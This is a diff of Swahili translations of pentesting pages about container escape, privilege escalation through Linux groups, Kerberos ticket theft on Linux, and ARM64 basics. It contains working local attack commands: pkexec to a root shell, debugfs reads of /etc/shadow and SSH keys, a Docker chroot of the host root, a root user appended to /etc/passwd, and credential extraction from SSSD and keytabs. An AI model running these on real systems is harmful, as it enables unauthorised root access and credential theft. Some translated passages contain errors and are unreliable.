> **Kumbuka kwamba si directories zote katika mashine ya linux zitasaidia bit ya suid!** Ili kuangalia ni directories zipi zinasaidia bit ya suid endesha `mount | grep -v "nosuid"` Kwa mfano kawaida `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` na `/var/lib/lxcfs` hazisaidii bit ya suid.
>
> Kumbuka pia kwamba ikiwa unaweza **kuunganisha `/etc`** au folda nyingine yoyote **iliyokuwa na faili za usanidi**, unaweza kuzibadilisha kutoka kwa kontena la docker kama root ili **uzitumie kwenye mwenyeji** na kuinua mamlaka (labda kubadilisha `/etc/shadow`)
### Escaping from the container
- **`--privileged`** -> Kwa bendera hii un [ondoa kila ulinzi kutoka kwa kontena](docker-privileged.md#what-affects). Angalia mbinu za [kutoroka kutoka kwa kontena zenye mamlaka kama root](docker-breakout-privilege-escalation/index.html#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Ili [kuinua kwa kutumia uwezo](../linux-capabilities.md), **peana uwezo huo kwa kontena** na uzime njia nyingine za ulinzi ambazo zinaweza kuzuia exploit kufanya kazi.
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Ili [kuinua kwa kudhulumu uwezo](../linux-capabilities.md), **peana uwezo huo kwa kontena** na uzime njia nyingine za ulinzi ambazo zinaweza kuzuia exploit kufanya kazi.
### Curl
Katika ukurasa huu tumajadili njia za kuinua mamlaka kwa kutumia bendera za docker, unaweza kupata **njia za kuitumia mbinu hizi kwa kutumia amri ya curl** katika ukurasa:
Katika ukurasa huu tumajadili njia za kuinua mamlaka kwa kutumia bendera za docker, unaweza kupata **njia za kudhulumu mbinu hizi kwa kutumia amri ya curl** katika ukurasa:
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,18 @@
## What is Distroless
Konteina isiyo na mfumo wa uendeshaji ni aina ya kontena ambayo **ina viambatisho muhimu tu kuendesha programu maalum**, bila programu au zana za ziada ambazo hazihitajiki. Kontena hizi zimeundwa kuwa **nyepesi** na **salama** kadri iwezekanavyo, na zina lengo la **kupunguza uso wa shambulio** kwa kuondoa vipengele visivyohitajika.
Konteina isiyo na mfumo ni aina ya konteina ambayo **ina vitu vya msingi tu vinavyohitajika kuendesha programu maalum**, bila programu au zana za ziada ambazo hazihitajiki. Konteina hizi zimeundwa kuwa **nyepesi** na **salama** kadri inavyowezekana, na zina lengo la **kupunguza uso wa shambulio** kwa kuondoa vipengele visivyohitajika.
Konteina zisizo na mfumo wa uendeshaji mara nyingi hutumiwa katika **mazingira ya uzalishaji ambapo usalama na uaminifu ni muhimu**.
Konteina zisizo na mfumo mara nyingi hutumiwa katika **mazingira ya uzalishaji ambapo usalama na uaminifu ni muhimu**.
Baadhi ya **mfano** wa **konteina zisizo na mfumo wa uendeshaji** ni:
Baadhi ya **mfano** wa **konteina zisizo na mfumo** ni:
- Iliyotolewa na **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
- Iliyotolewa na **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
## Weaponizing Distroless
Lengo la kuunda silaha kutoka kwa kontena isiyo na mfumo wa uendeshaji ni kuwa na uwezo wa **kutekeleza binaries na payloads za kiholela hata na vikwazo** vinavyotokana na **distroless** (ukosefu wa binaries za kawaida katika mfumo) na pia ulinzi unaopatikana mara nyingi katika kontena kama **kusoma tu** au **hakuna utekelezaji** katika `/dev/shm`.
Lengo la kuunda silaha kutoka kwa konteina isiyo na mfumo ni kuwa na uwezo wa **kutekeleza binaries na payloads za kiholela hata na vikwazo** vinavyotokana na **distroless** (ukosefu wa binaries za kawaida katika mfumo) na pia ulinzi unaopatikana mara nyingi katika konteina kama **kusoma tu** au **hakuna utekelezaji** katika `/dev/shm`.
### Through memory
@ -25,6 +25,6 @@ Kujitokeza katika wakati fulani wa 2023...
#### openssl
\***\*[**Katika chapisho hili,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) inafafanuliwa kuwa binary **`openssl`** mara nyingi hupatikana katika kontena hizi, labda kwa sababu inahitajika\*\* na programu ambayo itakuwa ikikimbia ndani ya kontena.
\***\*[**Katika chapisho hili,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) inaelezwa kuwa binary **`openssl`** mara nyingi hupatikana katika konteina hizi, labda kwa sababu inahitajika na programu ambayo itakuwa ikikimbia ndani ya konteina.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -31,19 +31,19 @@ Hii ni kwa sababu kawaida hizo ndizo vikundi ndani ya **polkit policy**. Sera hi
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Hapo utapata ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza.
Hapa utaona ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza.
Ili **kuwa root unaweza kutekeleza**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Ikiwa unajaribu kutekeleza **pkexec** na unapata **error** hii:
Ikiwa unajaribu kutekeleza **pkexec** na unapata **makosa** haya:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho la tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sessions 2 tofauti za ssh**:
**Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -68,17 +68,17 @@ sudo su
```
## Shadow Group
Watumiaji kutoka **group shadow** wanaweza **kusoma** faili ya **/etc/shadow**:
Watumiaji kutoka **group shadow** wanaweza **kusoma** faili **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
So, read the file and try to **crack some hashes**.
So, soma faili na jaribu **kufungua baadhi ya hashes**.
## Staff Group
## Kundi la Wafanyakazi
**staff**: Inaruhusu watumiaji kuongeza mabadiliko ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups)
Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu zaidi, iwe wewe ni mtumiaji mwenye ruhusa au la.
Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu, iwe wewe ni mtumiaji mwenye mamlaka au la.
```bash
$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
au Wakati wa kuingia kwa kikao kipya cha ssh.
au Wakati wa kuingia kwenye kikao kipya cha ssh.
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -141,29 +141,29 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Kumbuka kwamba ukitumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala ya `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shadow` au `/etc/passwd`) utapata kosa la "**Permission denied**".
Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shadow` au `/etc/passwd`) utapata kosa la "**Ruhusa imekataliwa**".
## Video Group
## Kundi la Video
Kwa kutumia amri `w` unaweza kupata **nani aliyeingia kwenye mfumo** na itatoa matokeo kama ifuatavyo:
Kwa kutumia amri `w` unaweza kupata **nani amejiandikisha kwenye mfumo** na itatoa matokeo kama ifuatavyo:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine.
The **tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine.
Kikundi cha **video** kina ufikiaji wa kuangalia matokeo ya skrini. Kimsingi unaweza kuangalia skrini. Ili kufanya hivyo unahitaji **kuchukua picha ya sasa kwenye skrini** katika data safi na kupata azimio ambalo skrini inatumia. Data ya skrini inaweza kuhifadhiwa katika `/dev/fb0` na unaweza kupata azimio la skrini hii kwenye `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili ya \*\*`screen.raw` \*\* na chagua kama aina ya faili **Raw image data**:
Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha ya raw**:
![](<../../../images/image (463).png>)
@ -181,7 +181,7 @@ find / -group root -perm -g=w 2>/dev/null
```
## Docker Group
Unaweza **kushikilia mfumo wa faili wa mzazi wa mashine kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inapoanza mara moja inachukua `chroot` kwenye kiasi hicho. Hii kwa ufanisi inakupa root kwenye mashine.
Unaweza **kushikilia mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inachukua mara moja `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine.
```bash
docker image #Get images from the docker service
@ -193,13 +193,13 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
```
Hatimaye, ikiwa hupendi yoyote ya mapendekezo ya awali, au hayafanyi kazi kwa sababu fulani (docker api firewall?) unaweza kila wakati kujaribu **kufanya kazi kwenye kontena lenye mamlaka na kutoroka kutoka kwake** kama ilivyoelezwa hapa:
Hatimaye, ikiwa hupendi mapendekezo yoyote ya awali, au hayafanyi kazi kwa sababu fulani (docker api firewall?) unaweza kila wakati kujaribu **kufanya kazi kwenye kontena lenye mamlaka na kutoroka kutoka kwake** kama ilivyoelezwa hapa:
{{#ref}}
../docker-security/
{{#endref}}
Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hii chapisho kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../index.html#writable-docker-socket)**.**
Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hiki kipande kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../index.html#writable-docker-socket)**.**
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
@ -217,12 +217,12 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Kundi la Adm
Kwa kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma** faili za log zilizopo ndani ya _/var/log/_.\
Kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma faili za log** zilizopo ndani ya _/var/log/_.\
Hivyo, ikiwa umepata mtumiaji ndani ya kundi hili unapaswa kwa hakika kuangalia **logi**.
## Kundi la Auth
Ndani ya OpenBSD kundi la **auth** kwa kawaida linaweza kuandika katika folda _**/etc/skey**_ na _**/var/db/yubikey**_ ikiwa zinatumika.\
Ndani ya OpenBSD kundi la **auth** kawaida linaweza kuandika katika folda _**/etc/skey**_ na _**/var/db/yubikey**_ ikiwa zinatumika.\
Ruhusa hizi zinaweza kutumika vibaya kwa kutumia exploit ifuatayo ili **kupandisha mamlaka** hadi root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
Mashine ya linux inaweza pia kuwa ndani ya mazingira ya Active Directory.
Mashine ya linux inaweza pia kuwepo ndani ya mazingira ya Active Directory.
Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani ya faili. Tiketi hizi zinaweza kutumika na kutumiwa vibaya kama tiketi nyingine yoyote ya kerberos**. Ili kusoma tiketi hizi utahitaji kuwa mmiliki wa tiketi au **root** ndani ya mashine.
Mashine ya linux katika AD inaweza kuwa **ikiweka tiketi tofauti za CCACHE ndani ya faili. Tiketi hizi zinaweza kutumika na kutumiwa vibaya kama tiketi nyingine za kerberos**. Ili kusoma tiketi hizi utahitaji kuwa mmiliki wa tiketi au **root** ndani ya mashine.
## Enumeration
@ -20,7 +20,7 @@ Unaweza pia kuangalia ukurasa ufuatao kujifunza **njia nyingine za kuhesabu AD k
### FreeIPA
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Kutumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hilo katika:
FreeIPA ni **mbadala** wa chanzo wazi kwa Microsoft Windows **Active Directory**, hasa kwa mazingira ya **Unix**. Inachanganya **LDAP directory** kamili na Kituo cha Usambazaji wa Funguo za MIT **Kerberos** kwa usimamizi unaofanana na Active Directory. Inatumia Mfumo wa **Cheti** wa Dogtag kwa usimamizi wa cheti za CA & RA, inasaidia **uthibitishaji wa hatua nyingi**, ikiwa ni pamoja na kadi za smart. SSSD imeunganishwa kwa michakato ya uthibitishaji wa Unix. Jifunze zaidi kuhusu hilo katika:
{{#ref}}
../freeipa-pentesting.md
@ -49,9 +49,9 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE tiketi matumizi kutoka kwenye keyring
### CCACHE ticket reuse from keyring
**Tiketi za Kerberos zilizohifadhiwa katika kumbukumbu ya mchakato zinaweza kutolewa**, hasa wakati ulinzi wa ptrace wa mashine umezimwa (`/proc/sys/kernel/yama/ptrace_scope`). Chombo chenye manufaa kwa kusudi hili kinapatikana kwenye [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), ambacho kinasaidia kutoa tiketi kwa kuingiza kwenye vikao na kutupa tiketi kwenye `/tmp`.
**Tiketi za Kerberos zilizohifadhiwa katika kumbukumbu ya mchakato zinaweza kutolewa**, hasa wakati ulinzi wa ptrace wa mashine umezimwa (`/proc/sys/kernel/yama/ptrace_scope`). Chombo chenye manufaa kwa kusudi hili kinapatikana kwenye [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), ambacho kinasaidia kutoa tiketi kwa kuingiza katika vikao na kutupa tiketi kwenye `/tmp`.
Ili kuunda na kutumia chombo hiki, hatua zilizo hapa chini zinafuatwa:
```bash
@ -66,24 +66,24 @@ Hii taratibu itajaribu kuingiza katika vikao mbalimbali, ikionyesha mafanikio kw
SSSD inashikilia nakala ya hifadhidata katika njia `/var/lib/sss/secrets/secrets.ldb`. Funguo inayohusiana inahifadhiwa kama faili iliyofichwa katika njia `/var/lib/sss/secrets/.secrets.mkey`. Kwa kawaida, funguo hiyo inaweza kusomwa tu ikiwa una ruhusa za **root**.
Kuita \*\*`SSSDKCMExtractor` \*\* na vigezo --database na --key vitachambua hifadhidata na **kufichua siri**.
Kuita **`SSSDKCMExtractor`** na vigezo --database na --key vitachambua hifadhidata na **kufichua siri**.
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**Kikasha cha akiba ya sifa za Kerberos kinaweza kubadilishwa kuwa faili ya Kerberos CCache inayoweza kutumika** ambayo inaweza kupitishwa kwa Mimikatz/Rubeus.
**Kikundi cha akiba ya sifa za Kerberos kinaweza kubadilishwa kuwa faili ya Kerberos CCache inayoweza kutumika** ambayo inaweza kupitishwa kwa Mimikatz/Rubeus.
### Urejeleaji wa tiketi za CCACHE kutoka kwa keytab
### Urejeleaji wa tiketi ya CCACHE kutoka kwa keytab
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### Toa akaunti kutoka /etc/krb5.keytab
### Extract accounts from /etc/krb5.keytab
Funguo za akaunti za huduma, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Funguo hizi, kama nywila za huduma, zinahitaji faragha kali.
Hifadhi za akaunti za huduma, muhimu kwa huduma zinazofanya kazi na ruhusa za mzizi, zimehifadhiwa kwa usalama katika faili za **`/etc/krb5.keytab`**. Hifadhi hizi, kama nywila za huduma, zinahitaji faragha kali.
Ili kukagua maudhui ya faili ya keytab, **`klist`** inaweza kutumika. Chombo hiki kimeundwa kuonyesha maelezo ya funguo, ikiwa ni pamoja na **NT Hash** kwa ajili ya uthibitishaji wa mtumiaji, hasa wakati aina ya funguo inatambulika kama 23.
Ili kukagua maudhui ya faili la keytab, **`klist`** inaweza kutumika. Zana hii imeundwa kuonyesha maelezo ya hifadhi, ikiwa ni pamoja na **NT Hash** kwa uthibitishaji wa mtumiaji, hasa wakati aina ya hifadhi inatambulika kama 23.
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash

View File

@ -7,43 +7,43 @@
Katika usanifu wa ARMv8, viwango vya utekelezaji, vinavyojulikana kama Viwango vya Kigezo (ELs), vin定义 kiwango cha ruhusa na uwezo wa mazingira ya utekelezaji. Kuna viwango vinne vya kigezo, kuanzia EL0 hadi EL3, kila kimoja kikihudumia kusudi tofauti:
1. **EL0 - Hali ya Mtumiaji**:
- Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu wa kawaida.
- Programu zinazotembea katika EL0 zimejitengea kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu.
- Hiki ndicho kiwango chenye ruhusa ndogo zaidi na kinatumika kwa kutekeleza msimbo wa programu za kawaida.
- Programu zinazotembea kwenye EL0 zimejitengea kutoka kwa kila mmoja na kutoka kwa programu za mfumo, kuimarisha usalama na utulivu.
2. **EL1 - Hali ya Kernel ya Mfumo wa Uendeshaji**:
- Makaratasi mengi ya mifumo ya uendeshaji yanakimbia katika kiwango hiki.
- Makaratasi mengi ya mifumo ya uendeshaji yanakimbia kwenye kiwango hiki.
- EL1 ina ruhusa zaidi kuliko EL0 na inaweza kufikia rasilimali za mfumo, lakini kwa vizuizi fulani ili kuhakikisha uadilifu wa mfumo.
3. **EL2 - Hali ya Hypervisor**:
- Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayokimbia katika EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayokimbia kwenye vifaa vya kimwili sawa.
- Kiwango hiki kinatumika kwa uhalisia. Hypervisor inayokimbia kwenye EL2 inaweza kusimamia mifumo mingi ya uendeshaji (kila moja katika EL1 yake) inayokimbia kwenye vifaa vya kimwili sawa.
- EL2 inatoa vipengele vya kutenganisha na kudhibiti mazingira yaliyohalalishwa.
4. **EL3 - Hali ya Msimamizi Salama**:
- Hiki ndicho kiwango chenye ruhusa kubwa zaidi na mara nyingi kinatumika kwa kuanzisha salama na mazingira ya utekelezaji yaliyoaminika.
- EL3 inaweza kusimamia na kudhibiti ufikiaji kati ya hali salama na zisizo salama (kama kuanzisha salama, OS iliyoaminika, n.k.).
- EL3 inaweza kusimamia na kudhibiti upatikanaji kati ya hali salama na zisizo salama (kama vile kuanzisha salama, OS iliyoaminika, n.k.).
Matumizi ya viwango hivi yanaruhusu njia iliyopangwa na salama ya kusimamia vipengele tofauti vya mfumo, kutoka kwa programu za mtumiaji hadi programu za mfumo zenye ruhusa kubwa zaidi. Mbinu ya ARMv8 kuhusu viwango vya ruhusa inasaidia katika kutenganisha kwa ufanisi vipengele tofauti vya mfumo, hivyo kuimarisha usalama na uimara wa mfumo.
## **Register (ARM64v8)**
ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30.
ARM64 ina **register 31 za matumizi ya jumla**, zilizoandikwa `x0` hadi `x30`. Kila moja inaweza kuhifadhi thamani ya **64-bit** (8-byte). Kwa operesheni zinazohitaji tu thamani za 32-bit, register hizo hizo zinaweza kufikiwa katika hali ya 32-bit kwa kutumia majina w0 hadi w30.
1. **`x0`** hadi **`x7`** - Hizi kawaida hutumiwa kama register za scratch na kwa kupitisha vigezo kwa subroutines.
1. **`x0`** hadi **`x7`** - Hizi kwa kawaida hutumiwa kama register za scratch na kwa kupitisha vigezo kwa subroutines.
- **`x0`** pia hubeba data ya kurudi ya kazi
2. **`x8`** - Katika kernel ya Linux, `x8` inatumika kama nambari ya wito wa mfumo kwa amri ya `svc`. **Katika macOS x16 ndiyo inayotumika!**
3. **`x9`** hadi **`x15`** - Register zaidi za muda, mara nyingi hutumiwa kwa mabadiliko ya ndani.
4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganishaji wa Utaratibu).
4. **`x16`** na **`x17`** - **Register za Wito wa Ndani**. Register za muda kwa thamani za papo hapo. Pia zinatumika kwa wito wa kazi zisizo za moja kwa moja na PLT (Jedwali la Uunganisho wa Utaratibu).
- **`x16`** inatumika kama **nambari ya wito wa mfumo** kwa amri ya **`svc`** katika **macOS**.
5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye majukwaa mengine, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa kwa sasa katika kernel ya linux.
6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mpokeaji. Kazi lazima ihifadhi thamani za register hizi kwa mpokeaji wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mpokeaji.
7. **`x29`** - **Kielelezo cha fremu** ili kufuatilia fremu ya stack. Wakati fremu mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye **stack** na anwani ya **fremu mpya** ni (**`sp`** anwani) inahifadhiwa katika register hii.
- Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**.
5. **`x18`** - **Register ya Jukwaa**. Inaweza kutumika kama register ya matumizi ya jumla, lakini kwenye baadhi ya majukwaa, register hii imehifadhiwa kwa matumizi maalum ya jukwaa: Kielelezo cha block ya mazingira ya thread ya sasa katika Windows, au kuonyesha muundo wa kazi inayotekelezwa sasa katika kernel ya linux.
6. **`x19`** hadi **`x28`** - Hizi ni register zilizohifadhiwa na mteja. Kazi lazima ihifadhi thamani za register hizi kwa mwito wake, hivyo zinahifadhiwa kwenye stack na kurejeshwa kabla ya kurudi kwa mwito.
7. **`x29`** - **Pointer ya Frame** ili kufuatilia frame ya stack. Wakati frame mpya ya stack inaundwa kwa sababu kazi inaitwa, register ya **`x29`** inahifadhiwa kwenye stack na anwani ya **pointer mpya** ya frame ni (**anwani ya `sp`**) inahifadhiwa katika register hii.
- Register hii inaweza pia kutumika kama **register ya matumizi ya jumla** ingawa kwa kawaida hutumiwa kama rejeleo kwa **mabadiliko ya ndani**.
8. **`x30`** au **`lr`**- **Register ya Kiungo**. Inashikilia **anwani ya kurudi** wakati amri ya `BL` (Tawi na Kiungo) au `BLR` (Tawi na Kiungo kwa Register) inatekelezwa kwa kuhifadhi thamani ya **`pc`** katika register hii.
- Inaweza pia kutumika kama register nyingine yoyote.
- Ikiwa kazi ya sasa inakusudia kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi).
9. **`sp`** - **Kielelezo cha Stack**, kinachotumika kufuatilia kilele cha stack.
- thamani ya **`sp`** inapaswa kudumishwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea.
10. **`pc`** - **Kikokotoo cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejesho ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo).
11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**).
- Ikiwa kazi ya sasa inakwenda kuita kazi mpya na hivyo kuandika `lr`, itahifadhiwa kwenye stack mwanzoni, hii ni epilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Hifadhi `fp` na `lr`, tengeneza nafasi na pata `fp` mpya) na kurejeshwa mwishoni, hii ni prologue (`ldp x29, x30, [sp], #48; ret` -> Rejesha `fp` na `lr` na rudi).
9. **`sp`** - **Pointer ya Stack**, inatumika kufuatilia kilele cha stack.
- thamani ya **`sp`** inapaswa kuwekwa kuwa angalau **quadword** **mwelekeo** au mwelekeo wa makosa unaweza kutokea.
10. **`pc`** - **Kikundi cha Programu**, ambacho kinaelekeza kwenye amri inayofuata. Register hii inaweza kusasishwa tu kupitia uzalishaji wa makosa, marejeo ya makosa, na matawi. Amri pekee za kawaida zinazoweza kusoma register hii ni amri za tawi na kiungo (BL, BLR) kuhifadhi anwani ya **`pc`** katika **`lr`** (Register ya Kiungo).
11. **`xzr`** - **Register ya Sifuri**. Pia inaitwa **`wzr`** katika fomu yake ya register ya **32**-bit. Inaweza kutumika kupata thamani ya sifuri kwa urahisi (operesheni ya kawaida) au kufanya kulinganisha kwa kutumia **`subs`** kama **`subs XZR, Xn, #10`** ikihifadhi data inayotokana mahali popote (katika **`xzr`**).
Register za **`Wn`** ni toleo la **32bit** la register **`Xn`**.
Register za **`Wn`** ni toleo la **32bit** la register za **`Xn`**.
### SIMD na Register za Pointi za Kuogelea
@ -51,11 +51,11 @@ Zaidi ya hayo, kuna register nyingine **32 za urefu wa 128bit** ambazo zinaweza
### Register za Mfumo
**Kuna mamia ya register za mfumo**, pia zinajulikana kama register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\
Zinaweza kusomwa au kuwekwa tu kwa kutumia amri maalum zilizotengwa **`mrs`** na **`msr`**.
**Kuna mamia ya register za mfumo**, pia zinazoitwa register za matumizi maalum (SPRs), zinatumika kwa **kuangalia** na **kudhibiti** tabia za **processors**.\
